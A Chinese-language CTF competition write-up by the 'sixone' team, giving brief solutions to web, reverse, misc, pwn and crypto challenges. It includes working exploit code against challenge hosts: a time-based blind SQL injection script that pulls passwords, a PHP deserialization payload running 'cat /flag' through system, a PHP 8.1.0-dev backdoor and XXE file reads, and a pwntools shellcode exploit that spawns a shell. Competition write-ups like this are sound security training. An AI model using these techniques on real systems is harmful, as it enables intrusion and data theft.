sixone战队WriteUp
一、 战队信息
战队名称:sixone战队
战队排名:39
个人榜单:15
二、 解出情况
Web1(EasyMD5)解出
Web2(PHP的后门)解出
Web3(PHP的XXE)解出
Web4(Easy_SQLi)解出
Web5(雏形系统)解出
Reverse1(来打CS咯)解出
Misc1(CTFer Revenge)解出
Misc4(小光的答案之书)解出
Pwn1(j简单的数学题)解出
Pwn2(Easy_Shellcode)解出
Crypto1(解个方程)解出
Crypto2(ez_log)解出
Crypto5(四重加密)解出
解释:
解出情况中写了题目名称后面真的不想写了,累死了,
别问我为什么脚本地址和环境地址不一样,因为wp是我所有题实在做不出来才写的
但是我发现还不如边做边写哎。
三、 解题步骤
Web1:
环境启动
然后发现传输两个pdf,题目解释md5
感觉像我之前做的题md5碰撞
传一个,240610708然后另一个传QNKCDZO
啊哈哈出来了,还行
Web2:
环境启动
额,看着熟悉
NSSROUND18好像考过
PHP/8.1.0-dev漏洞
居然有哦豁,那就ls然后查看根
我直接反手一个cat /flag
Web3:
环境启动
题目显示xxe漏洞,还给了版本号,直接搜一下,啊,公开wp??
一定要去进入这几个文件夹才可以哦
公开处刑,然后直接file:///flag即可
Web4:
环境启动
这,不是,我为什么回到了一年之前做题,一个时间盲注脚本即可跑出来
import requests url = 'http://challenge.qsnctf.com:32440/login.php' res = "" for i in range(1, 48, 1): for j in range(32, 128, 1): # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#' # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#" payload = f"if(ascii(substr((select group_concat(password) from users),{i},1))>{j},sleep(1.1),0)#" data = { 'uname': "admin' and " + payload, 'psw': 123456 } try: r = requests.post(url=url, data=data, timeout=0.6) except Exception as e: continue res += chr(j) print(res) break
过程:
Vs加python跑傻了,两台kali都跑错了,哎,蚌埠住了,跑了一个小时。
Web5:
开环境
没事扫扫目录
源代码
最后发现这么一堆,好样的,上网搜了一下,emmm,eval钩子,直接eval换成echo就可,然后解出来是这么个反序列化呜呜呜,又是反序列化
<?php
error_reporting(0);
class shi
{
public $next;
public $pass;
public function __toString(){
$this->next::PLZ($this->pass);
}
}
class wo
{
public $sex;
public $age;
public $intention;
public function __destruct(){
echo "Hi Try serialize Me!";
$this->inspect();
}
function inspect(){
if($this->sex=='boy'&&$this->age=='eighteen')
{
echo $this->intention;
}
echo "🙅18岁🈲";
}
}
class Demo
{
public $a;
static function __callStatic($action, $do)
{
global $b;
$b($do[0]);
}
}
$b = $_POST['password'];
$a = $_POST['username'];
@unserialize($a);
if (!isset($b)) {
echo "==================PLZ Input Your Name!==================";
}
if($a=='admin'&&$b=="'k1fuhu's test demo")
{
echo("登录成功");
}
?>
然后开始构造,哎,烦死
<?php
/*
wo::__destruct
sex boy
age eighteen
intention obj(shi)
shi::__toString
next obj(Demo)
pass 恶意参数
$_POST['password'](pass)
*/
<?php
class Demo{}
class shi{
public $next;
public $pass = 'cat /flag';
}
class wo{
public $sex = 'boy';
public $age = 'eighteen';
public $intention;
}
$o = new wo();
$o -> intention = new shi();
$o -> intention -> next = new Demo();
echo urlencode(serialize($o));
// username=O%3A2%3A%22wo%22%3A3%3A%7Bs%3A3%3A%22sex%22%3Bs%3A3%3A%22boy%22%3Bs%3A3%3A%22age%22%3Bs%3A8%3A%22eighteen%22%3Bs%3A9%3A%22intention%22%3BO%3A3%3A%22shi%22%3A2%3A%7Bs%3A4%3A%22next%22%3BO%3A4%3A%22Demo%22%3A0%3A%7B%7Ds%3A4%3A%22pass%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D&password=system
/*
wo::__destruct
sex boy
age eighteen
intention obj(shi)
shi::__toString
next obj(Demo)
pass 恶意参数
$_POST['password'](pass)
*/
最后解出来了,麻木了
Reverse:
解出来是这些,然后告诉我
我猜测病毒肯定有,好像金砖东部赛题呀,扔微步
正好flag是ip加端口,完美
幸亏没有在本机打开,要不然上马子了
Misc1:
告诉我反方向开始移动,emmm我怎么感觉还要左右移动呢
好吧,直接上脚本
with open("./是什么呢(仔细观察).txt", "r") as f:
data = f.read().split("\n")
data = [i[::-1] for i in [i.split("| ")[1][::-1].split(" ", 1)[1].strip()[::-1] for i in data][::-1]]
print(data[0:5])
with open("./res.txt", "w+") as f:
f.write(" ".join(data))
然后跑出来一个正常的文件,扔到解密软件去解密即可
但是,出来的图片也玩这个
那就左—>右—>中间(先倒过来然后是这个顺序flag出来了),一切全靠试
Misc4:
这不就是圣堂骑士密码吗
说实话,第一个符号我是真不知道为啥是l
看出来后面三个是ife,根据我所知道的英文,直接猜life
然后关注之后回复就有了
Crypto1:
拿着个考验干部??网上有直接改然后跑
出来了
Crypto2:
我是脚本小子,好一个动态题,下载一次改一次c
from Crypto.Util.number import long_to_bytes
from sympy.ntheory.residue_ntheory import discrete_log
p = 3006156660704242356836102321001016782090189571028526298055526061772989406357037170723984497344618257575827271367883545096587962708266010793826346841303043716776726799898939374985320242033037
g = 3
c = 761923123475761383643641863728762428894186297266893605678501914237826914021233642809418664753150698518882808798430847919002355072768724597933562846712444037816907639899829511385593432037099
m = discrete_log(p, c, g)
print(f'm={m}')
print(long_to_bytes(m))
Crypto5:
第一层,我直接010打开,然后熟悉的base系列
好一段十进制
好熟悉,这不纯纯维吉尼亚密码吗你要是不给key我就以为是栅栏或者凯撒了
最后凯撒来一波
Pwn1:
算术题
脚本来喽
from sympy import symbols, Eq, solve
x = symbols('x')
e = Eq(2*15**2 - 1/x + 15 - 6, 458.875)
s= solve(e, x)
还有第二种
Chatgpt永远的神,因为最后一个数太难算,所以建议从一开始就写脚本
Pwn2:
环境打开
然后放虚拟机
直接用shellcraft.sh()然后用nop滑梯填充一下返回到泄露的输入地址即可
脚本
from pwn import *
context(log_level='debug', os='linux', arch='amd64')
proname = './easy-shellcode'
io = remote("challenge.qsnctf.com",31381)
\#io = gdb.debug(proname,"break main")
elf = ELF(proname)
addr = io.recvuntil(b'\n',drop=True)
addr = int(addr,16)
p= asm(shellcraft.sh())
p = p.ljust(0x108,b'\x90')
io.sendline(p+p64(addr))
io.interactive()咱就是说,以后pwn简单点吧,我是pwn的废物